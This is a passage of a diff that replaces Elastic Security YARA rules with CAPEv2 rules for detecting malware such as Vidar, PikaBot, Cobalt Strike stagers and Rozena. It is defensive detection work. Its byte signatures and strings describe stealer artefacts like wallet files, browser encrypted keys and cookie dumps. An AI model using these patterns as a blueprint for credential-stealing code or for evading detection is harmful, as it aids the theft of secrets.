+		$v7 = "files\\cc_" ascii wide
+		$v8 = "files\\autofill_" ascii wide
+		$v9 = "files\\cookies_" ascii wide
 
 	condition:
-		4 of them
+		uint16(0)==0x5A4D and ( all of ($string*) or 7 of ($v*))
 }
-rule ELASTIC_Linux_Hacktool_Tcpscan_334D0Ca5 : FILE MEMORY
+rule CAPE_Jaff : FILE
 {
 	meta:
-		description = "Detects Linux Hacktool Tcpscan (Linux.Hacktool.Tcpscan)"
-		author = "Elastic Security"
-		id = "334d0ca5-d143-4a32-8632-9fbdd2d96987"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Tcpscan.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "62de04185c2e3c22af349479a68ad53c31b3874794e7c4f0f33e8d125c37f6b0"
-		logic_hash = "94ee723c660294e35caec5a2b66eeea64896265cfebc839ed3f55cf8f8c67d7e"
+		description = "Jaff Payload"
+		author = "kevoreilly"
+		id = "6681c1fe-6c88-5a49-bdfa-54ce08ea6707"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Jaff.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "6806a5eeee04b7436ff694addc334bfc0f1ee611116904d57be9506acfd47418"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1f8fc064770bd76577b9455ae858d8a98b573e01a199adf2928d8433d990eaa7"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Jaff Payload"
 
 	strings:
-		$a = { C4 10 89 45 D4 83 7D D4 00 79 1A 83 EC 0C 68 13 }
+		$a1 = "CryptGenKey"
+		$a2 = "353260540318613681395633061841341670181307185694827316660016508"
+		$b1 = "jaff"
+		$b2 = "2~1c0q4t7"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( any of ($a*)) and (1 of ($b*))
 }
-rule ELASTIC_Windows_Trojan_Rudebird_3Cbf7Bc6 : FILE MEMORY
+rule CAPE_Cobaltstrikestager
 {
 	meta:
-		description = "Detects Windows Trojan Rudebird (Windows.Trojan.RudeBird)"
-		author = "Elastic Security"
-		id = "3cbf7bc6-71c5-4c7c-a846-7a95c3d28917"
-		date = "2023-05-09"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RudeBird.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2095c3b6bde779b5661c7796b5e33bb0c43facf791b272a603b786f889a06a95"
+		description = "Cobalt Strike Stager Payload"
+		author = "@dan__mayer <daniel@stairwell.com>"
+		id = "eedf71b1-9f27-5a6f-afe8-3ddae47f9a06"
+		date = "2023-01-18"
+		modified = "2023-01-18"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/CobaltStrikeStager.yar#L1-L15"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "6a55b0c3ab5f557dfb7a3f8bd616ede1bd9b93198590fc9d52aa19c1154388c5"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f70bd86d877d9371601c7f65cf50a5bb9b76ba45acbf591bd8e4c1117a0cac1d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "CobaltStrikeStager Payload"
 
 	strings:
-		$a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }
+		$smb = { 68 00 B0 04 00 68 00 B0 04 00 6A 01 6A 06 6A 03 52 68 45 70 DF D4 }
+		$http_x86 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
+		$http_x64 = { 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 }
+		$dns = { 68 00 10 00 00 68 FF FF 07 00 6A 00 68 58 A4 53 E5 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Macos_Trojan_Fplayer_1C1Fae37 : FILE MEMORY
+rule CAPE_Pikabotloader : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Fplayer (MacOS.Trojan.Fplayer)"
-		author = "Elastic Security"
-		id = "1c1fae37-8d19-4129-a715-b78163f93fd2"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Fplayer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f57e651088dee2236328d09705cef5e98461e97d1eb2150c372d00ca7c685725"
-		logic_hash = "0d65717bdbac694ffb2535a1ff584f7ec2aa7b553a08d29113c6e2bd7b2ff1aa"
+		description = "Pikabot Loader"
+		author = "kevoreilly"
+		id = "e2c89cdd-0cdb-5367-8aae-2fe685eff972"
+		date = "2024-03-13"
+		modified = "2024-03-13"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/PikaBot.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "7e5f1f2911545ee6bd36b54f2627fbdec1b957f4b91df901dd1c6cbd4dff0231"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "abeb3cd51c0ff2e3173739c423778defb9a77bc49b30ea8442e6ec93a2d2d8d2"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 70
+		tags = "FILE"
+		cape_type = "PikaBot Loader"
 
 	strings:
-		$a = { 56 41 55 41 54 53 48 83 EC 48 4D 89 C4 48 89 C8 48 89 D1 49 89 F6 49 89 FD 49 }
+		$indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1}
+		$sysenter1 = {89 44 24 08 8D 85 ?? FC FF FF C7 44 24 04 FF FF 1F 00 89 04 24 E8}
+		$sysenter2 = {C7 44 24 0C 00 00 00 02 C7 44 24 08 00 00 00 02 8B 45 0C 89 44 24 04 8B 45 08 89 04 24 E8}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Windows_Hacktool_Rubeus_43F18623 : FILE MEMORY
+rule CAPE_Pikabot : FILE
 {
 	meta:
-		description = "Detects Windows Hacktool Rubeus (Windows.Hacktool.Rubeus)"
-		author = "Elastic Security"
-		id = "43f18623-6024-4608-8019-e3fecd54cf84"
-		date = "2022-10-20"
-		modified = "2022-11-24"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Rubeus.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b7b4691ad1cdad7663c32d07e911a03d9cc8b104f724c2825fd4957007649235"
-		logic_hash = "8714f30e12c0dc61c83491a71dbf9f1e9b6bc66663a8f2c069e7a7841d52cf68"
+		description = "Pikabot Payload"
+		author = "kevoreilly"
+		id = "140a3e20-9837-5f66-85dc-af278d75e074"
+		date = "2024-03-13"
+		modified = "2024-03-13"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/PikaBot.yar#L15-L28"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "ed07217c373831a9a67d914854154988696e6fcea70dedabf333385f0e7bb8b7"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "fbc2f67f394a4d21cac532b42c6749002cb7284b4a3912e18672881e6e74765d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "PikaBot Payload"
+		packed = "89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9"
 
 	strings:
-		$guid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii wide nocase
-		$print_str0 = "[*] Printing argument list for use with Rubeus" ascii wide
-		$print_str1 = "[+] Ticket successfully imported!" ascii wide
-		$print_str2 = "[+] Tickets successfully purged!" ascii wide
-		$print_str3 = "[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96" ascii wide
-		$print_str4 = "[*] Action: TGT Harvesting (with auto-renewal)" ascii wide
-		$print_str5 = "[X] Unable to retrieve TGT using tgtdeleg" ascii wide
-		$print_str6 = "[!] Unhandled Rubeus exception:" ascii wide
-		$print_str7 = "[*] Using a TGT /ticket to request service tickets" ascii wide
+		$decode = {29 D1 01 4B ?? 8D 0C 10 89 4B ?? 85 F6 74 02 89 16}
+		$indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1}
+		$config = {C7 44 24 [3] 00 00 C7 44 24 [4] 00 89 [1-4] ?? E8 [4] 31 C0 C7 44 24 [3] 00 00 89 44 24 ?? C7 04 24 [4] E8}
 
 	condition:
-		$guid or 4 of ($print_str*)
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Windows_Vulndriver_Asrock_986D2D3C : FILE
+rule CAPE_Pik23 : FILE
 {
 	meta:
-		description = "Detects Windows Vulndriver Asrock (Windows.VulnDriver.Asrock)"
-		author = "Elastic Security"
-		id = "986d2d3c-96d1-4c74-a594-51c6df3b2896"
-		date = "2022-04-04"
-		modified = "2022-04-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Asrock.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838"
-		logic_hash = "d767a1ecdff557753f80ac9d73f02364dd035f7a287d0f260316f807364af2d5"
+		description = "PikaBot Payload February 2023"
+		author = "kevoreilly"
+		id = "fc804c63-fc6c-5b26-92b1-aa5d2fbc4917"
+		date = "2024-03-13"
+		modified = "2024-03-13"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/PikaBot.yar#L30-L44"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1"
+		logic_hash = "71a71df2f2a075294941c54eed06cafaaa4d3294e45b3a0098c1cffddd0438bc"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		fingerprint = "17a021c4130a41ca6714f2dd7f33c100ba61d6d2d4098a858f917ab49894b05b"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		cape_type = "PikaBot Payload"
 
 	strings:
-		$str1 = "\\AsrDrv106.pdb"
+		$rdtsc = {89 55 FC 89 45 F8 0F 31 89 55 F4 89 45 FC 33 C0 B8 05 00 00 00 C1 E8 02 2B C3 3B C1 0F 31 89 55 F0 89 45 F8 8B 44 8D}
+		$int2d = {B8 00 00 00 00 CD 2D 90 C3 CC CC CC CC CC CC CC}
+		$subsys = {64 A1 30 00 00 00 8B 40 18 C3}
+		$rijndael = {EB 0F 0F B6 04 3? FE C? 8A 80 [4] 88 04 3? 0F B6 [3] 7C EA 5? 5? C9 C3}
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		uint16(0)==0x5A4D and 3 of them
 }
-rule ELASTIC_Windows_Vulndriver_Asrock_Cdf192F9 : FILE
+rule CAPE_Rozena
 {
 	meta:
-		description = "Detects Windows Vulndriver Asrock (Windows.VulnDriver.Asrock)"
-		author = "Elastic Security"
-		id = "cdf192f9-c62f-4e00-b6a9-df85d10fee99"
-		date = "2022-04-04"
-		modified = "2022-04-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Asrock.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d"
-		logic_hash = "2f844b6d3fa19fd39097395175162578ad71d78c61dad104efd320cd8285fa6b"
+		description = "No description has been set in the source file - CAPE"
+		author = "Kevin O'Reilly"
+		id = "38ca9da3-2a0e-500f-8eb8-9de69a7f2da5"
+		date = "2024-03-15"
+		modified = "2024-03-15"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Rozena.yar#L1-L10"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "c415a8108b58a125a604031bb8d73b58a8aae5429b5b765e35fa8a4add9cd135"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "f27c61c67b51ab88994742849dcd1311064ef0cacddb57503336d08f45059060"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "Rozena Payload"
 
 	strings:
-		$str1 = "\\AsrDrv103.pdb"
+		$ip_port = {FF D5 6A 0A 68 [4] 68 [4] 89 E6 50 50 50 50 40 50 40 50 68 [4] FF D5}
+		$socket = {6A 00 6A 04 56 57 68 [4] FF D5 [0-5] 8B 36 6A 40 68 00 10 00 00 56 6A 00 68}
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Asrock_0Eca57Dc : FILE
+import "pe"
+
+rule CAPE_Nighthawk
 {
 	meta:
-		description = "Name: AsrSetupDrv103.sys, Version: 1.00.00.0000 built by: WinDDK"
-		author = "Elastic Security"
-		id = "0eca57dc-3800-4b0f-99dd-151fcac82136"
-		date = "2023-07-20"
-		modified = "2023-07-20"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Asrock.yar#L41-L62"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d9346e6f46f831e263385a9bd32428e01919cca26a035bbb8e9cb00bf410bc3"
-		hash = "a0728184caead84f2e88777d833765f2d8af6a20aad77b426e07e76ef91f5c3f"
-		logic_hash = "82a0cba571dc58ed8d3fd87d3650ec0c1016e6c8e972547f6120ba91c8febce1"
+		description = "NightHawk C2"
+		author = "Nikhil Ashok Hegde <@ka1do9>"
+		id = "096b9d13-6aa7-5b6e-aaeb-e25aa7c8c53f"
+		date = "2022-12-05"
+		modified = "2022-12-05"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Nighthawk.yar#L3-L24"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "2d77912678e06503ffef0e8ed84aa4f9ac74357480d57742fbae619acebfb5f2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "6c73b37f5e749161b4fb2f076e82ceb02345894b5db8e1a187019b54e3d1a154"
-		threat_name = "Windows.Vulndriver.Asrock"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "Nighthawk Payload"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 [1-8] 41 00 73 00 72 00 53 00 65 00 74 00 75 00 70 00 44 00 72 00 76 00 31 00 30 00 33 00 2E 00 73 00 79 00 73 }
-		$file_version = { 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E [1-8] 31 00 2E 00 30 00 30 00 2E 00 30 00 30 00 2E 00 30 00 30 00 30 00 30 00 20 00 62 00 75 00 69 00 6C 00 74 00 20 00 62 00 79 00 3A 00 20 00 57 00 69 00 6E 00 44 00 44 00 4B }
+		$keying_methods = { 85 C9 74 43 83 E9 01 74 1C 83 F9 01 0F 85 }
+		$aes_sbox = { 63 7C 77 7B F2 6B 6F C5 30 }
+		$aes_inv_sbox = { 52 09 6A D5 30 36 A5 38 BF }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $file_version
+		pe.is_pe and for any s in pe.sections : (s.name==".profile") and all of them
 }
-rule ELASTIC_Windows_Hacktool_Seatbelt_674Fd535 : FILE MEMORY
+rule CAPE_Vidar : FILE
 {
 	meta:
-		description = "Detects Windows Hacktool Seatbelt (Windows.Hacktool.Seatbelt)"
-		author = "Elastic Security"
-		id = "674fd535-f188-4b20-8b5e-69a111bf08e5"
-		date = "2022-10-20"
-		modified = "2022-11-24"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Seatbelt.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a0e467aacd383727d46e766f1c45b424a6d46248118c155c22c538e8773b3ae7"
-		logic_hash = "1bff820ec5cc9e56e7be4b290a48628115cc1ace5e41278fa76898bf39ef893e"
+		description = "Vidar Payload"
+		author = "kevoreilly,rony"
+		id = "9e4e797f-880e-54eb-ad44-caad0ec5683c"
+		date = "2023-04-21"
+		modified = "2023-04-21"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Vidar.yar#L1-L22"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "5d4c030536ed41cf4e0dcb77b2fe4553d789ee2b8095a4b3e050692335a8709d"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "cdbafa7507cb723f20ad0c7a288750a0d95792c8fe5ceb5e48c62fd45f2ffc0b"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Vidar Payload"
+		packed = "0cff8404e73906f3a4932e145bf57fae7a0e66a7d7952416161a5d9bb9752fd8"
 
 	strings:
-		$guid = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii wide nocase
-		$str0 = "LogonId=\"(\\d+)" ascii wide
-		$str1 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii wide
-		$str2 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii wide
-		$str3 = "KB\\d+" ascii wide
-		$str4 = "(^https?://.+)|(^ftp://)" ascii wide
-		$str5 = "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}" ascii wide
-		$str6 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii wide
+		$decode = {FF 75 0C 8D 34 1F FF 15 ?? ?? ?? ?? 8B C8 33 D2 8B C7 F7 F1 8B 45 0C 8B 4D 08 8A 04 02 32 04 31 47 88 06 3B 7D 10 72 D8}
+		$xor_dec = {0F B6 [0-5] C1 E? ?? 33 ?? 81 E? [0-5] 89 ?? 7C AF 06}
+		$wallet = "*wallet*.dat" fullword ascii wide
+		$s1 = "\"os_crypt\":{\"encrypted_key\":\"" fullword ascii wide
+		$s2 = "screenshot.jpg" fullword ascii wide
+		$s3 = "\\Local State" fullword ascii wide
+		$s4 = "Content-Disposition: form-data; name=\"" fullword ascii wide
+		$s5 = "CC\\%s_%s.txt" fullword ascii wide
+		$s6 = "History\\%s_%s.txt" fullword ascii wide
+		$s7 = "Autofill\\%s_%s.txt" fullword ascii wide
+		$s8 = "Downloads\\%s_%s.txt" fullword ascii wide
 
 	condition:
-		$guid or all of ($str*)
+		uint16be(0)==0x4d5a and 6 of them
 }
-rule ELASTIC_Multi_Trojan_Mythic_4Beb7E17 : FILE MEMORY
+rule CAPE_Ursnifv3 : FILE
 {
 	meta:
-		description = "Detects Multi Trojan Mythic (Multi.Trojan.Mythic)"
-		author = "Elastic Security"
-		id = "4beb7e17-34c2-4f5c-a668-e54512175f53"
-		date = "2023-08-01"
-		modified = "2023-09-20"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Trojan_Mythic.yar#L1-L28"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7b3b7bae1763f3c73df206f97065920fa55b973d22c967acb3d26ac8e89e60c7"
+		description = "UrsnifV3 Payload"
+		author = "kevoreilly"
+		id = "9dd32f80-b535-52a3-91e1-4db005362fd4"
+		date = "2023-03-23"
+		modified = "2023-03-23"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/UrsnifV3.yar#L1-L18"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "501cd52388aba16f9d33b4555f310e1ad58326916b15358a485c701acb87abd8"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0b25c5b069cec31e9af31b7822ea19b813fe1882dfaa584661ff14414ae41df5"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "multi"
+		quality = 70
+		tags = "FILE"
+		cape_type = "UrsnifV3 Payload"
+		packed = "75827be0c600f93d0d23d4b8239f56eb8c7dc4ab6064ad0b79e6695157816988"
+		packed = "5d6f1484f6571282790d64821429eeeadee71ba6b6d566088f58370634d2c579"
 
 	strings:
-		$a1 = "task_id"
-		$a2 = "post_response"
-		$a3 = "c2_profile"
-		$a4 = "get_tasking"
-		$a5 = "tasking_size"
-		$a6 = "get_delegate_tasks"
-		$a7 = "total_chunks"
-		$a8 = "is_screenshot"
-		$a9 = "file_browser"
-		$a10 = "is_file"
-		$a11 = "access_time"
+		$crypto32_1 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00}
+		$crypto32_2 = {8B 45 ?? 0F B6 3? FF 45 [2-4] 8B C? 23 C? 40 40 D1 E? 7?}
+		$crypto32_3 = {F6 46 03 02 75 5? 8B 46 10 40 50 E8 [10-12] 74 ?? F6 46 03 01 74}
+		$crypto32_4 = {C7 44 24 10 01 00 00 00 8B 4? 10 [12] 8B [2] 89 01 8B 44 24 10 5F 5E 5B 8B E5 5D C2 0C 00}
+		$cpuid = {8B C4 FF 18 8B F0 33 C0 0F A2 66 8C D8 66 8E D0 8B E5 8B C6 5E 5B 5D C3}
+		$cape_string = "cape_options"
 
 	condition:
-		7 of them
+		uint16(0)==0x5A4D and 1 of ($crypto32_*) and $cpuid and not $cape_string
 }
-rule ELASTIC_Linux_Ransomware_Itssoeasy_30Bd68E0 : FILE MEMORY
+rule CAPE_Seduploader : FILE
 {
 	meta:
-		description = "Detects Linux Ransomware Itssoeasy (Linux.Ransomware.ItsSoEasy)"
-		author = "Elastic Security"
-		id = "30bd68e0-3050-4aaf-b1bb-3ae10b6bd6dd"
-		date = "2023-07-28"
-		modified = "2024-02-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_ItsSoEasy.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "efb1024654e86c0c30d2ac5f97d27f5f27b4dd3f7f6ada65d58691f0d703461c"
-		logic_hash = "a8838af442d1106bc9a7df93d6d8335ff0275bf5928acbb605e9bad58ce6bbd4"
+		description = "Seduploader decrypt function"
+		author = "kevoreilly"
+		id = "a7152d8c-a197-5784-8a6d-453d41585df1"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Seduploader.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "d70c886699169d4dafc5b063c93682a34af5667df6d293b52256ddc19ab9c516"
 		score = 75
-		quality = 71
-		tags = "FILE, MEMORY"
-		fingerprint = "33170bbe6d182b36c77d732c283377f6f84cf82bd8d28cc4c3aef4d0914a0ae8"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Seduploader Payload"
 
 	strings:
-		$a1 = { 6D 61 69 6E 2E 65 6E 63 72 79 70 74 44 61 74 61 2E 66 75 6E 63 31 }
-		$a2 = { 6D 61 69 6E 2E 6D 61 6B 65 41 75 74 6F 52 75 6E }
+		$decrypt1 = {8D 0C 30 C7 45 FC 0A 00 00 00 33 D2 F7 75 FC 8A 82 ?? ?? ?? ?? 32 04 0F 88 01 8B 45 0C 40 89 45 0C 3B C3 7C DB}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of ($decrypt*)
 }
-rule ELASTIC_Windows_Trojan_Darkcomet_1Df27Bcc : FILE MEMORY
+rule CAPE_Hermes : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Darkcomet (Windows.Trojan.Darkcomet)"
-		author = "Elastic Security"
-		id = "1df27bcc-9f18-48d4-bd7f-73bdc7cb1e63"
-		date = "2021-08-16"
-		modified = "2021-10-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Darkcomet.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7fbe87545eef49da0df850719536bb30b196f7ad2d5a34ee795c01381ffda569"
-		logic_hash = "5886e3316839e64f934a0e84d85074e076f3e1e44f86fee35a87eb560bfa2aa7"
+		description = "Hermes Payload"
+		author = "kevoreilly"
+		id = "0ff44422-9c14-517b-9e71-8e9e19694f06"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
